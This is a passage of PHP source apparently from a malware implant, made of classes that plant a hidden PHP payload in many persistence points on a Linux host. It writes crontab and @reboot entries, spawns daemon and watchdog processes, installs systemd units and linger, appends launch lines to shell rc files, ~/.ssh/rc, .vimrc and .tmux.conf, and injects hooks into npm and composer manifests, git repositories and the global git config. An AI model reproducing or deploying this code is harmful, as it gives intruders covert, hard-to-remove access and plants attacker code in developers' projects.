$ctx) { $results = []; $totalRemoved = 0; foreach ($this->layers as $key => $layer) { try { $r = $layer->uninstall($ctx); $results[$key] = $r; $totalRemoved += (int)($r['removed'] ?? 0); } catch (Throwable $e) { $results[$key] = ['ok'=>false,'removed'=>0]; } } return ['results'=>$results,'total_removed'=>$totalRemoved]; } public function statusAll(array $ctx) { $out = []; foreach ($this->layers as $key => $layer) { try { $out[$key] = $layer->status($ctx); } catch (Throwable $e) { $out[$key] = ['active'=>false,'detail'=>'exception']; } } return $out; } } class WnCronLayer extends WnBaseLayer { public function key() { return 'cron'; } public function install(array $ctx) { $php = $ctx['php_bin']; $entry = $ctx['entry']; $existing = (string)cmd_exec('crontab -l 2>/dev/null'); $lines = array_filter(explode("\n", $existing), 'wn_cron_filter_callback'); $lines[] = "* * * * * /bin/sh -c '" . escapeshellarg($php) . " " . escapeshellarg($entry) . " >/dev/null 2>&1'"; $lines[] = "@reboot /bin/sh -c 'sleep 30 && " . escapeshellarg($php) . " " . escapeshellarg($entry) . " >/dev/null 2>&1'"; $tmp = tempnam(sys_get_temp_dir(), 'cron_'); wn_call('fpc', $tmp, implode("\n", $lines) . "\n"); cmd_exec("crontab " . escapeshellarg($tmp) . " 2>&1"); @unlink($tmp); $v = (string)cmd_exec('crontab -l 2>/dev/null'); $main = (stripos($v, basename($entry)) !== false) || stripos($v, 'cleanup.lock') !== false; $reboot = stripos($v, '@reboot') !== false; return ['ok'=>$main,'detail'=>($main ? 'active' : 'missing') . ($reboot ? ' + reboot' : ''),'reboot'=>$reboot]; } public function uninstall(array $ctx) { $existing = (string)cmd_exec('crontab -l 2>/dev/null'); $lines = array_filter(explode("\n", $existing), 'wn_cron_filter_callback'); $tmp = tempnam(sys_get_temp_dir(), 'cron_'); wn_call('fpc', $tmp, implode("\n", $lines) . "\n"); cmd_exec("crontab " . escapeshellarg($tmp) . " 2>&1"); @unlink($tmp); return ['ok'=>true,'removed'=>2,'message'=>'cron cleared']; } public function status(array $ctx) { $c = (string)cmd_exec('crontab -l 2>/dev/null'); $main = (isset($ctx['entry']) && $ctx['entry'] && stripos($c, basename($ctx['entry'])) !== false) || stripos($c, 'cleanup.lock') !== false; return ['active'=>$main,'reboot'=>stripos($c, '@reboot') !== false,'detail'=>$main ? 'active' : 'missing']; } } class WnDaemonLayer extends WnBaseLayer { public function key() { return 'daemon'; } public function install(array $ctx) { $log = []; $ok = wn_spawn_daemon($ctx['php_bin'], $ctx['entry'], $log); $this->setLog($log); return ['ok'=>$ok,'detail'=>$ok ? 'spawned' : 'failed','log'=>$log]; } public function uninstall(array $ctx) { $pf = wn_blend_name('daemon_pid'); $removed = 0; if (file_exists($pf)) { $pid = (int)wn_call('fgc', $pf); if ($pid > 0 && wn_can_shell()) cmd_exec("kill -9 " . $pid . " 2>/dev/null"); @unlink($pf); $removed++; } return ['ok'=>true,'removed'=>$removed,'message'=>'daemon killed']; } public function status(array $ctx) { $s = wn_daemon_status(); return ['active'=>$s['alive'],'pid'=>$s['pid'],'detail'=>$s['alive'] ? "alive ({$s['pid']})" : 'dead']; } } class WnWatchdogLayer extends WnBaseLayer { public function key() { return 'watchdog'; } public function install(array $ctx) { $log = []; $ok = wn_spawn_watchdog($ctx['php_bin'], $ctx['entry'], $log); $this->setLog($log); return ['ok'=>$ok,'detail'=>$ok ? 'spawned' : 'failed','log'=>$log]; } public function uninstall(array $ctx) { $pf = wn_blend_name('watchdog_pid'); $removed = 0; if (file_exists($pf)) { $pid = (int)wn_call('fgc', $pf); if ($pid > 0 && wn_can_shell()) cmd_exec("kill -9 " . $pid . " 2>/dev/null"); @unlink($pf); $removed++; } return ['ok'=>true,'removed'=>$removed,'message'=>'watchdog killed']; } public function status(array $ctx) { $s = wn_watchdog_status(); return ['active'=>$s['alive'],'pid'=>$s['pid'],'detail'=>$s['alive'] ? "alive ({$s['pid']})" : 'dead']; } } class WnSystemdLayer extends WnBaseLayer { public function key() { return 'systemd'; } public function install(array $ctx) { $log = []; $units = wn_install_systemd($ctx['php_bin'], $ctx['entry'], $log); $this->setLog($log); return ['ok'=>!empty($units),'detail'=>count($units) . ' unit(s)','units'=>$units]; } public function uninstall(array $ctx) { $r = wn_uninstall_systemd(); return ['ok'=>true,'removed'=>$r,'message'=>"systemd: $r removed"]; } public function status(array $ctx) { $s = wn_systemd_status(); $active = $s['user_active'] || $s['system_active']; return ['active'=>$active,'detail'=>$s['user_active'] ? 'user active' : ($s['system_active'] ? 'system active' : 'off')]; } } class WnLingerLayer extends WnBaseLayer { public function key() { return 'linger'; } private function systemdUserAvailable() { $uid = null; if (function_exists('posix_getuid')) $uid = posix_getuid(); if ($uid === null) { $o = trim((string)cmd_exec('id -u 2>/dev/null')); if (ctype_digit($o)) $uid = (int)$o; } if ($uid !== null && file_exists('/run/user/' . $uid . '/systemd/private')) return true; $r = trim((string)cmd_exec('systemctl --user is-system-running 2>&1')); return in_array($r, ['running','degraded','initializing','starting'], true); } private function checkLinger($u) { $s = trim((string)cmd_exec('loginctl show-user ' . escapeshellarg($u) . ' -p Linger 2>/dev/null')); if (stripos($s, 'Linger=yes') !== false) return 'yes'; if (stripos($s, 'Linger=no') !== false) return 'no'; if (file_exists('/var/lib/systemd/linger/' . $u)) return 'yes'; return 'unknown'; } public function install(array $ctx) { $u = $ctx['linger_user'] ?? ''; if ($u === '') return ['ok'=>false,'detail'=>'no user']; if (trim((string)cmd_exec('command -v loginctl 2>/dev/null')) === '') return ['ok'=>false,'detail'=>'loginctl missing']; if (!$this->systemdUserAvailable()) return ['ok'=>false,'detail'=>'systemd-user not running']; $before = $this->checkLinger($u); if ($before === 'yes') return ['ok'=>true,'detail'=>'already enabled']; $out = (string)cmd_exec('loginctl enable-linger ' . escapeshellarg($u) . ' 2>&1'); for ($i = 0; $i < 5; $i++) { usleep(600000); if ($this->checkLinger($u) === 'yes') return ['ok'=>true,'detail'=>'enabled']; } $err = trim($out); return ['ok'=>false,'detail'=>'enable failed' . ($err !== '' ? ': ' . substr($err, 0, 200) : '')]; } public function uninstall(array $ctx) { $u = $ctx['linger_user'] ?? ''; if ($u === '') return ['ok'=>false,'removed'=>0]; if ($this->checkLinger($u) !== 'yes') return ['ok'=>true,'removed'=>0,'message'=>'not enabled']; cmd_exec('loginctl disable-linger ' . escapeshellarg($u) . ' 2>&1'); usleep(500000); return ['ok'=>true,'removed'=>1,'message'=>'linger disabled']; } public function status(array $ctx) { $u = $ctx['linger_user'] ?? ''; if ($u === '') return ['active'=>false,'detail'=>'no user']; if (!$this->systemdUserAvailable()) return ['active'=>false,'detail'=>'systemd-user not running']; $st = $this->checkLinger($u); return ['active'=>$st==='yes','detail'=>$st==='yes' ? 'enabled' : ($st==='no' ? 'disabled' : 'unknown')]; } } class WnBashRcLayer extends WnBaseLayer { public function key() { return 'shell_rc'; } private function marker() { return '# ' . substr(md5('wn_rc_' . wn_get_key('rc')), 0, 12) . ' shim'; } public function install(array $ctx) { $home = $ctx['home']; $entry = $ctx['entry']; $m = $this->marker(); $line = '[ -f "' . $entry . '" ] && (php "' . $entry . '" >/dev/null 2>&1 &)'; $n = 0; foreach ([$home.'/.bashrc', $home.'/.bash_profile', $home.'/.profile', $home.'/.zshrc'] as $f) { if (!file_exists($f) || !is_writable($f)) continue; $c = @file_get_contents($f); if ($c === false) continue; if (strpos($c, $m) !== false) { $n++; continue; } if (@file_put_contents($f, "\n" . $m . "\n" . $line . "\n", FILE_APPEND | LOCK_EX) !== false) $n++; } return ['ok'=>$n>0,'detail'=>"$n file(s)"]; } public function uninstall(array $ctx) { $home = $ctx['home']; $m = $this->marker(); $n = 0; foreach ([$home.'/.bashrc', $home.'/.bash_profile', $home.'/.profile', $home.'/.zshrc'] as $f) { if (!file_exists($f) || !is_writable($f)) continue; $c = @file_get_contents($f); if ($c === false || strpos($c, $m) === false) continue; $lines = explode("\n", $c); $out = []; $skip = false; foreach ($lines as $l) { if (strpos($l, $m) !== false) { $skip = true; continue; } if ($skip) { $skip = false; continue; } $out[] = $l; } if (@file_put_contents($f, implode("\n", $out)) !== false) $n++; } return ['ok'=>true,'removed'=>$n,'message'=>"$n cleaned"]; } public function status(array $ctx) { $m = $this->marker(); $home = $ctx['home']; foreach ([$home.'/.bashrc', $home.'/.zshrc', $home.'/.profile', $home.'/.bash_profile'] as $f) { if (file_exists($f) && strpos((string)@file_get_contents($f), $m) !== false) return ['active'=>true,'detail'=>'active']; } return ['active'=>false,'detail'=>'off']; } } class WnSshRcLayer extends WnBaseLayer { public function key() { return 'ssh_rc'; } private function marker() { return '# ' . substr(md5('wn_sshrc_' . wn_get_key('sshrc')), 0, 12); } public function install(array $ctx) { $home = $ctx['home']; $entry = $ctx['entry']; $sshDir = $home . '/.ssh'; if (!is_dir($sshDir)) @mkdir($sshDir, 0700, true); if (!is_dir($sshDir) || !is_writable($sshDir)) return ['ok'=>false,'detail'=>'ssh dir not writable']; $f = $sshDir . '/rc'; $m = $this->marker(); $line = '[ -f "' . $entry . '" ] && (php "' . $entry . '" >/dev/null 2>&1 &)'; if (file_exists($f)) { $c = @file_get_contents($f); if ($c !== false && strpos($c, $m) !== false) return ['ok'=>true,'detail'=>'already present']; if (is_writable($f) && @file_put_contents($f, "\n" . $m . "\n" . $line . "\n", FILE_APPEND | LOCK_EX) !== false) return ['ok'=>true,'detail'=>'appended']; return ['ok'=>false,'detail'=>'append failed']; } if (@file_put_contents($f, $m . "\n" . $line . "\n") !== false) { @chmod($f, 0600); return ['ok'=>true,'detail'=>'created']; } return ['ok'=>false,'detail'=>'create failed']; } public function uninstall(array $ctx) { $f = $ctx['home'] . '/.ssh/rc'; if (!file_exists($f) || !is_writable($f)) return ['ok'=>true,'removed'=>0]; $c = @file_get_contents($f); if ($c === false) return ['ok'=>false,'removed'=>0]; $m = $this->marker(); if (strpos($c, $m) === false) return ['ok'=>true,'removed'=>0]; $lines = explode("\n", $c); $out = []; $skip = false; foreach ($lines as $l) { if (strpos($l, $m) !== false) { $skip = true; continue; } if ($skip) { $skip = false; continue; } $out[] = $l; } if (@file_put_contents($f, implode("\n", $out)) !== false) return ['ok'=>true,'removed'=>1]; return ['ok'=>false,'removed'=>0]; } public function status(array $ctx) { $f = $ctx['home'] . '/.ssh/rc'; if (!file_exists($f)) return ['active'=>false,'detail'=>'no file']; return ['active'=>strpos((string)@file_get_contents($f), $this->marker()) !== false,'detail'=>'checked']; } } class WnBashLogoutLayer extends WnBaseLayer { public function key() { return 'bash_logout'; } private function marker() { return '# ' . substr(md5('wn_logout_' . wn_get_key('logout')), 0, 12) . ' shim'; } public function install(array $ctx) { $home = $ctx['home']; $entry = $ctx['entry']; $f = $home . '/.bash_logout'; $m = $this->marker(); $line = '[ -f "' . $entry . '" ] && (php "' . $entry . '" >/dev/null 2>&1 &)'; if (!file_exists($f)) { if (@file_put_contents($f, $m . "\n" . $line . "\n") !== false) { @chmod($f, 0644); return ['ok'=>true,'detail'=>'created']; } return ['ok'=>false,'detail'=>'create failed']; } $c = @file_get_contents($f); if ($c !== false && strpos($c, $m) !== false) return ['ok'=>true,'detail'=>'already present']; if (is_writable($f) && @file_put_contents($f, "\n" . $m . "\n" . $line . "\n", FILE_APPEND | LOCK_EX) !== false) return ['ok'=>true,'detail'=>'appended']; return ['ok'=>false,'detail'=>'append failed']; } public function uninstall(array $ctx) { $f = $ctx['home'] . '/.bash_logout'; if (!file_exists($f) || !is_writable($f)) return ['ok'=>true,'removed'=>0]; $c = @file_get_contents($f); if ($c === false) return ['ok'=>false,'removed'=>0]; $m = $this->marker(); if (strpos($c, $m) === false) return ['ok'=>true,'removed'=>0]; $lines = explode("\n", $c); $out = []; $skip = false; foreach ($lines as $l) { if (strpos($l, $m) !== false) { $skip = true; continue; } if ($skip) { $skip = false; continue; } $out[] = $l; } if (@file_put_contents($f, implode("\n", $out)) !== false) return ['ok'=>true,'removed'=>1]; return ['ok'=>false,'removed'=>0]; } public function status(array $ctx) { $f = $ctx['home'] . '/.bash_logout'; if (!file_exists($f)) return ['active'=>false,'detail'=>'no file']; return ['active'=>strpos((string)@file_get_contents($f), $this->marker()) !== false,'detail'=>'checked']; } } class WnAtJobLayer extends WnBaseLayer { public function key() { return 'at_job'; } public function install(array $ctx) { if (trim((string)cmd_exec('command -v at 2>/dev/null')) === '') return ['ok'=>false,'detail'=>'at not available']; $line = 'php ' . escapeshellarg($ctx['entry']) . ' >/dev/null 2>&1'; $out = (string)cmd_exec('echo ' . escapeshellarg($line) . ' | at now + 5 minutes 2>&1'); $ok = stripos($out, 'job') !== false && stripos($out, 'error') === false; return ['ok'=>$ok,'detail'=>$ok ? 'queued' : 'failed']; } public function status(array $ctx) { $exists = trim((string)cmd_exec('command -v at 2>/dev/null')) !== ''; return ['active'=>$exists,'detail'=>$exists ? 'at available' : 'at missing']; } } class WnNpmLayer extends WnBaseLayer { public function key() { return 'npm_hooks'; } public function install(array $ctx) { $n = wn_inject_npm_hooks($ctx['home'], $ctx['entry']); return ['ok'=>$n>0,'detail'=>"$n package.json(s)",'count'=>$n]; } public function uninstall(array $ctx) { $n = wn_cleanup_npm_hooks($ctx['home']); return ['ok'=>true,'removed'=>$n,'message'=>"$n cleaned"]; } public function status(array $ctx) { $files = wn_find_project_files($ctx['home'], 'package.json'); $marker = 'wn_lifecycle_' . substr(md5('wn_npm_' . wn_get_key('npm')), 0, 8); $n = 0; foreach ($files as $f) { $j = @json_decode(@file_get_contents($f), true); if (is_array($j) && isset($j['scripts'][$marker])) $n++; } return ['active'=>$n>0,'count'=>$n,'detail'=>"$n active"]; } } class WnComposerLayer extends WnBaseLayer { public function key() { return 'composer_hooks'; } public function install(array $ctx) { $n = wn_inject_composer_hooks($ctx['home'], $ctx['entry']); return ['ok'=>$n>0,'detail'=>"$n composer.json(s)",'count'=>$n]; } public function uninstall(array $ctx) { $n = wn_cleanup_composer_hooks($ctx['home']); return ['ok'=>true,'removed'=>$n,'message'=>"$n cleaned"]; } public function status(array $ctx) { $files = wn_find_project_files($ctx['home'], 'composer.json'); $marker = 'wn_lifecycle_' . substr(md5('wn_composer_' . wn_get_key('composer')), 0, 8); $n = 0; foreach ($files as $f) { $j = @json_decode(@file_get_contents($f), true); if (is_array($j) && isset($j['scripts'][$marker])) $n++; } return ['active'=>$n>0,'count'=>$n,'detail'=>"$n active"]; } } class WnShellTrapLayer extends WnBaseLayer { public function key() { return 'shell_trap'; } public function install(array $ctx) { $n = wn_inject_shell_trap($ctx['home'], $ctx['entry']); return ['ok'=>$n>0,'detail'=>"injected into $n file(s)",'count'=>$n]; } public function uninstall(array $ctx) { $n = wn_cleanup_shell_trap($ctx['home']); return ['ok'=>true,'removed'=>$n,'message'=>"$n cleaned"]; } public function status(array $ctx) { $home = $ctx['home']; $marker = '# ' . substr(md5('wn_trap_' . wn_get_key('trap')), 0, 12) . ' trap'; foreach ([$home.'/.bashrc', $home.'/.zshrc', $home.'/.profile', $home.'/.bash_profile'] as $f) { if (file_exists($f) && strpos((string)@file_get_contents($f), $marker) !== false) return ['active'=>true,'detail'=>'active']; } return ['active'=>false,'detail'=>'off']; } } class WnGitHookLayer extends WnBaseLayer { public function key() { return 'git_hook'; } private function marker() { return '# ' . substr(md5('wn_git_' . wn_get_key('git')), 0, 12); } private function findGitDirs($home) { $dirs = []; if (!$home) return $dirs; $scan = [$home, $home.'/public_html', $home.'/www', $home.'/htdocs', $home.'/domains']; foreach ($scan as $base) { if (!is_dir($base)) continue; if (is_dir($base . '/.git/hooks')) $dirs[] = $base . '/.git/hooks'; $subs = @scandir($base) ?: []; foreach ($subs as $s) { if ($s === '.' || $s === '..') continue; if (isset($s[0]) && $s[0] === '.') continue; $p = $base . '/' . $s; if (is_dir($p . '/.git/hooks')) $dirs[] = $p . '/.git/hooks'; } } return array_values(array_unique($dirs)); } public function install(array $ctx) { $home = $ctx['home']; $entry = $ctx['entry']; $dirs = $this->findGitDirs($home); if (empty($dirs)) return ['ok'=>false,'detail'=>'no .git/hooks','count'=>0]; $m = $this->marker(); $script = "#!/bin/sh\n" . $m . "\n[ -f \"" . $entry . "\" ] && (pgrep -f \"" . $entry . "\" >/dev/null 2>&1 || (php \"" . $entry . "\" >/dev/null 2>&1 &))\nexit 0\n"; $n = 0; foreach ($dirs as $hooks) { foreach (['post-commit','post-merge','post-checkout','post-rewrite'] as $name) { $f = $hooks . '/' . $name; if (file_exists($f)) { $c = @file_get_contents($f); if ($c !== false && strpos($c, $m) !== false) { $n++; continue; } if (is_writable($f) && @file_put_contents($f, "\n" . $script, FILE_APPEND | LOCK_EX) !== false) $n++; } else { if (@file_put_contents($f, $script) !== false) { @chmod($f, 0755); $n++; } } } } return ['ok'=>$n>0,'detail'=>"injected into $n hook(s)",'count'=>$n]; } public function uninstall(array $ctx) { $dirs = $this->findGitDirs($ctx['home']); $m = $this->marker(); $n = 0; foreach ($dirs as $hooks) { foreach (['post-commit','post-merge','post-checkout','post-rewrite'] as $name) { $f = $hooks . '/' . $name; if (!file_exists($f) || !is_writable($f)) continue; $c = @file_get_contents($f); if ($c === false || strpos($c, $m) === false) continue; $lines = explode("\n", $c); $out = []; $skipMarker = false; foreach ($lines as $l) { if (strpos($l, $m) !== false) { $skipMarker = true; continue; } if ($skipMarker && trim($l) !== '') { $skipMarker = false; continue; } $out[] = $l; } @file_put_contents($f, implode("\n", $out)); $n++; } } return ['ok'=>true,'removed'=>$n,'message'=>"$n cleaned"]; } public function status(array $ctx) { $dirs = $this->findGitDirs($ctx['home']); if (empty($dirs)) return ['active'=>false,'count'=>0,'detail'=>'no git']; $m = $this->marker(); $n = 0; foreach ($dirs as $hooks) { foreach (['post-commit','post-merge','post-checkout','post-rewrite'] as $name) { $f = $hooks . '/' . $name; if (file_exists($f) && strpos((string)@file_get_contents($f), $m) !== false) $n++; } } return ['active'=>$n>0,'count'=>$n,'detail'=>"$n hook(s)"]; } } /* ============ NEW NON-ROOT PERSISTENCE LAYERS ============ */ function wn_shim_marker($tag) { return '# ' . substr(md5('wn_shim_' . $tag . '_' . wn_get_key('shim')), 0, 12); } function wn_shim_bash_line($php, $entry) { return '[ -f "' . $entry . '" ] && (' . escapeshellarg($php) . ' "' . $entry . '" >/dev/null 2>&1 &)'; } function wn_shim_install($file, $marker, $line) { $dir = dirname($file); if (!is_dir($dir)) @mkdir($dir, 0755, true); if (!is_dir($dir) || !is_writable($dir)) return 'dir-fail'; if (file_exists($file)) { $c = @file_get_contents($file); if ($c !== false && strpos($c, $marker) !== false) return 'exists'; if (!is_writable($file)) return 'not-writable'; if (@file_put_contents($file, "\n" . $marker . "\n" . $line . "\n", FILE_APPEND | LOCK_EX) !== false) return 'appended'; return 'append-failed'; } if (@file_put_contents($file, $marker . "\n" . $line . "\n") !== false) return 'created'; return 'create-failed'; } function wn_shim_uninstall($file, $marker) { if (!file_exists($file) || !is_writable($file)) return 0; $c = @file_get_contents($file); if ($c === false) return 0; if (strpos($c, $marker) === false) return 0; $lines = explode("\n", $c); $out = []; $skip = false; foreach ($lines as $l) { if (strpos($l, $marker) !== false) { $skip = true; continue; } if ($skip) { $skip = false; continue; } $out[] = $l; } if (@file_put_contents($file, implode("\n", $out)) !== false) return 1; return 0; } function wn_shim_status($file, $marker) { if (!file_exists($file)) return false; return strpos((string)@file_get_contents($file), $marker) !== false; } class WnBashLoginLayer extends WnBaseLayer { public function key() { return 'bash_login'; } public function install(array $ctx) { if (file_exists($ctx['home'] . '/.bash_profile')) return ['ok'=>false,'detail'=>'.bash_profile shadows']; $f = $ctx['home'] . '/.bash_login'; $m = wn_shim_marker('bashlogin'); $r = wn_shim_install($f, $m, wn_shim_bash_line($ctx['php_bin'], $ctx['entry'])); if ($r === 'exists') { @chmod($f, 0644); return ['ok'=>true,'detail'=>'already present']; } if ($r === 'created' || $r === 'appended') { @chmod($f, 0644); return ['ok'=>true,'detail'=>$r]; } return ['ok'=>false,'detail'=>$r]; } public function uninstall(array $ctx) { $n = wn_shim_uninstall($ctx['home'] . '/.bash_login', wn_shim_marker('bashlogin')); return ['ok'=>true,'removed'=>$n,'message'=>"$n cleaned"]; } public function status(array $ctx) { return ['active'=>wn_shim_status($ctx['home'] . '/.bash_login', wn_shim_marker('bashlogin')),'detail'=>'checked']; } } class WnLessFilterLayer extends WnBaseLayer { public function key() { return 'lessfilter'; } public function install(array $ctx) { $f = $ctx['home'] . '/.lessfilter'; $m = wn_shim_marker('lessfilter'); if (file_exists($f)) { $c = @file_get_contents($f); if ($c !== false && strpos($c, $m) !== false) return ['ok'=>true,'detail'=>'already present']; return ['ok'=>false,'detail'=>'exists (not overwriting)']; } $boot = wn_shim_bash_line($ctx['php_bin'], $ctx['entry']); $content = "#!/bin/sh\n" . $m . "\n" . $boot . "\ncase \"\$1\" in\n *.txt|*.log|*.conf|*.md) cat \"\$1\" ;;\n *) exit 1 ;;\nesac\n"; if (@file_put_contents($f, $content) !== false) { @chmod($f, 0755); return ['ok'=>true,'detail'=>'created']; } return ['ok'=>false,'detail'=>'create-failed']; } public function uninstall(array $ctx) { $f = $ctx['home'] . '/.lessfilter'; if (!file_exists($f) || !is_writable($f)) return ['ok'=>true,'removed'=>0]; $c = @file_get_contents($f); if ($c === false) return ['ok'=>false,'removed'=>0]; if (strpos($c, wn_shim_marker('lessfilter')) === false) return ['ok'=>true,'removed'=>0]; @unlink($f); return ['ok'=>true,'removed'=>1,'message'=>'deleted']; } public function status(array $ctx) { return ['active'=>wn_shim_status($ctx['home'] . '/.lessfilter', wn_shim_marker('lessfilter')),'detail'=>'checked']; } } class WnVimrcLayer extends WnBaseLayer { public function key() { return 'vimrc'; } private function marker() { return '" ' . substr(md5('wn_vimrc_' . wn_get_key('vimrc')), 0, 12); } private function line($ctx) { return 'silent! call system("(' . escapeshellarg($ctx['php_bin']) . ' ' . escapeshellarg($ctx['entry']) . ' >/dev/null 2>&1 &)")'; } public function install(array $ctx) { $f = $ctx['home'] . '/.vimrc'; $m = $this->marker(); if (file_exists($f)) { $c = @file_get_contents($f); if ($c !== false && strpos($c, $m) !== false) return ['ok'=>true,'detail'=>'already present']; if (is_writable($f) && @file_put_contents($f, "\n" . $m . "\n" . $this->line($ctx) . "\n", FILE_APPEND | LOCK_EX) !== false) return ['ok'=>true,'detail'=>'appended']; return ['ok'=>false,'detail'=>'append-failed']; } if (@file_put_contents($f, $m . "\n" . $this->line($ctx) . "\n") !== false) { @chmod($f, 0644); return ['ok'=>true,'detail'=>'created']; } return ['ok'=>false,'detail'=>'create-failed']; } public function uninstall(array $ctx) { $n = wn_shim_uninstall($ctx['home'] . '/.vimrc', $this->marker()); return ['ok'=>true,'removed'=>$n,'message'=>"$n cleaned"]; } public function status(array $ctx) { return ['active'=>wn_shim_status($ctx['home'] . '/.vimrc', $this->marker()),'detail'=>'checked']; } } class WnGitGlobalHooksLayer extends WnBaseLayer { public function key() { return 'git_global'; } private function marker() { return '# ' . substr(md5('wn_gitg_' . wn_get_key('gitg')), 0, 12); } private function hooksDir($ctx) { return $ctx['home'] . '/.config/git/global-hooks'; } public function install(array $ctx) { $home = $ctx['home']; $entry = $ctx['entry']; $php = $ctx['php_bin']; $hooksDir = $this->hooksDir($ctx); if (!is_dir($hooksDir) && !@mkdir($hooksDir, 0755, true)) return ['ok'=>false,'detail'=>'mkdir fail']; if (!is_dir($hooksDir) || !is_writable($hooksDir)) return ['ok'=>false,'detail'=>'dir not writable']; $m = $this->marker(); $script = "#!/bin/sh\n" . $m . "\n[ -f \"" . $entry . "\" ] && (pgrep -f \"" . $entry . "\" >/dev/null 2>&1 || (" . escapeshellarg($php) . " \"" . $entry . "\" >/dev/null 2>&1 &))\nexit 0\n"; $n = 0; foreach (['post-commit','post-merge','post-checkout','post-rewrite','pre-push','post-applypatch'] as $name) { $f = $hooksDir . '/' . $name; if (file_exists($f)) { $c = @file_get_contents($f); if ($c !== false && strpos($c, $m) !== false) { $n++; continue; } if (is_writable($f) && @file_put_contents($f, "\n" . $script, FILE_APPEND | LOCK_EX) !== false) $n++; } else { if (@file_put_contents($f, $script) !== false) { @chmod($f, 0755); $n++; } } } $gitcfg = $home . '/.gitconfig'; $current = file_exists($gitcfg) ? (string)@file_get_contents($gitcfg) : ''; if (strpos($current, 'hooksPath = ' . $hooksDir) === false) { if (file_exists($gitcfg)) @copy($gitcfg, $gitcfg . '.wn.bak'); if (strpos($current, '[core]') !== false) { if (!preg_match('/\[core\][^\[]*?hooksPath\s*=/', $current)) { $current = preg_replace('/\[core\]/', "[core]\n\thooksPath = $hooksDir", $current, 1); } } else { $current = rtrim($current) . "\n[core]\n\thooksPath = $hooksDir\n"; } @file_put_contents($gitcfg, $current, LOCK_EX); } return ['ok'=>$n>0,'detail'=>"$n hook(s) + gitconfig",'count'=>$n]; } public function uninstall(array $ctx) { $hooksDir = $this->hooksDir($ctx); $m = $this->marker(); $n = 0; if (is_dir($hooksDir)) { foreach (['post-commit','post-merge','post-checkout','post-rewrite','pre-push','post-applypatch'] as $name) { $f = $hooksDir . '/' . $name; if (!file_exists($f) || !is_writable($f)) continue; $c = @file_get_contents($f); if ($c === false || strpos($c, $m) === false) continue; if (strpos($c, '#!/bin/sh') === 0 && substr_count($c, "\n") < 10) { @unlink($f); $n++; } else { $n += wn_shim_uninstall($f, $m); } } @rmdir($hooksDir); } $gitcfg = $ctx['home'] . '/.gitconfig'; if (file_exists($gitcfg)) { $c = (string)@file_get_contents($gitcfg); $c = preg_replace('/\n\thooksPath\s*=\s*' . preg_quote($hooksDir, '/') . '\s*/', "\n", $c); @file_put_contents($gitcfg, $c, LOCK_EX); } return ['ok'=>true,'removed'=>$n,'message'=>"$n cleaned"]; } public function status(array $ctx) { $hooksDir = $this->hooksDir($ctx); $m = $this->marker(); $n = 0; if (is_dir($hooksDir)) foreach (['post-commit','post-merge','post-checkout','post-rewrite','pre-push','post-applypatch'] as $name) { $f = $hooksDir . '/' . $name; if (file_exists($f) && strpos((string)@file_get_contents($f), $m) !== false) $n++; } return ['active'=>$n>0,'count'=>$n,'detail'=>"$n hook(s)"]; } } class WnTmuxConfLayer extends WnBaseLayer { public function key() { return 'tmux_conf'; } private function marker() { return '# ' . substr(md5('wn_tmux_' . wn_get_key('tmux')), 0, 12); } public function install(array $ctx) { $f = $ctx['home'] . '/.tmux.conf'; $m = $this->marker(); $line = 'run-shell "pgrep -f ' . escapeshellarg($ctx['entry']) . ' >/dev/null 2>&1 || (' . escapeshellarg($ctx['php_bin']) . ' ' . escapeshellarg($ctx['entry']) . ' >/dev/null 2>&1 &)"'; if (file_exists($f)) { $c = @file_get_contents($f); if ($c !== false && strpos($c, $m) !== false) return ['ok'=>true,'detail'=>'already present']; if (is_writable($f) && @file_put_contents($f, "\n" . $m . "\n" . $line . "\n", FILE_APPEND | LOCK_EX) !== false) return ['ok'=>true,'detail'=>'appended']; return ['ok'=>false,'detail'=>'append-failed']; } if (@file_put_contents($f, $m . "\n" . $line . "\n") !== false) { @chmod($f, 0644); return ['ok'=>true,'detail'=>'created']; } return ['ok'=>false,'detail'=>'create-failed']; } public function uninstall(array $ctx) { $n = wn_shim_uninstall($ctx['home'] . '/.tmux.conf', $this->marker()); return ['ok'=>true,'removed'=>$n,'message'=>"$n cleaned"]; } public function status(array $ctx) { return ['active'=>wn_shim_status($ctx['home'] . '/.tmux.conf', $this->marker()),'detail'=>'checked']; } } class WnGitPagerLayer extends WnBaseLayer { public function key() { return 'git_pager'; } private function marker() { return '# wn_gitpager_' . substr(md5(wn_get_key('gitpager')), 0, 8); } private function scriptPath($ctx) { return $ctx['home'] . '/.config/wn/pager.sh'; } public function install(array $ctx) { $home = $ctx['home']; $dir = $home . '/.config/wn'; if (!is_dir($dir)) @mkdir($dir, 0755, true); if (!is_dir($dir) || !is_writable($dir)) return ['ok'=>false,'detail'=>'dir-not-writable']; $script = $this->scriptPath($ctx); $scriptContent = "#!/bin/sh\n" . $this->marker() . "\npgrep -f " . escapeshellarg($ctx['entry']) . " >/dev/null 2>&1 || (" . escapeshellarg($ctx['php_bin']) . " " . escapeshellarg($ctx['entry']) . " >/dev/null 2>&1 &)\ncat\n"; if (@file_put_contents($script, $scriptContent) === false) return ['ok'=>false,'detail'=>'script-write-fail']; @chmod($script, 0755); $gitcfg = $home . '/.gitconfig'; $current = file_exists($gitcfg) ? (string)@file_get_contents($gitcfg) : ''; if (strpos($current, 'wn_gitpager_') !== false) return ['ok'=>true,'detail'=>'already present']; if (file_exists($gitcfg)) @copy($gitcfg, $gitcfg . '.wnpager.bak'); if (strpos($current, '[core]') !== false) { $current = preg_replace('/\[core\]/', "[core]\n\tpager = $script", $current, 1); } else { $current = rtrim($current) . "\n[core]\n\tpager = $script\n"; } @file_put_contents($gitcfg, $current, LOCK_EX); return ['ok'=>true,'detail'=>'pager installed']; } public function uninstall(array $ctx) { $script = $this->scriptPath($ctx); if (file_exists($script)) @unlink($script); $gitcfg = $ctx['home'] . '/.gitconfig'; if (!file_exists($gitcfg)) return ['ok'=>true,'removed'=>0]; $c = (string)@file_get_contents($gitcfg); if (strpos($c, 'wn_gitpager_') === false && strpos($c, $script) === false) return ['ok'=>true,'removed'=>0]; $c = preg_replace('/\n\tpager\s*=\s*' . preg_quote($script, '/') . '\s*/', "\n", $c); @file_put_contents($gitcfg, $c, LOCK_EX); return ['ok'=>true,'removed'=>1,'message'=>'pager removed']; } public function status(array $ctx) { $script = $this->scriptPath($ctx); $gitcfg = $ctx['home'] . '/.gitconfig'; if (!file_exists($script) || !file_exists($gitcfg)) return ['active'=>false]; return ['active'=>strpos((string)@file_get_contents($gitcfg), 'wn_gitpager_') !== false || strpos((string)@file_get_contents($gitcfg), $script) !== false]; } } class WnVimPluginLayer extends WnBaseLayer { public function key() { return 'vim_plugin'; } private function marker() { return 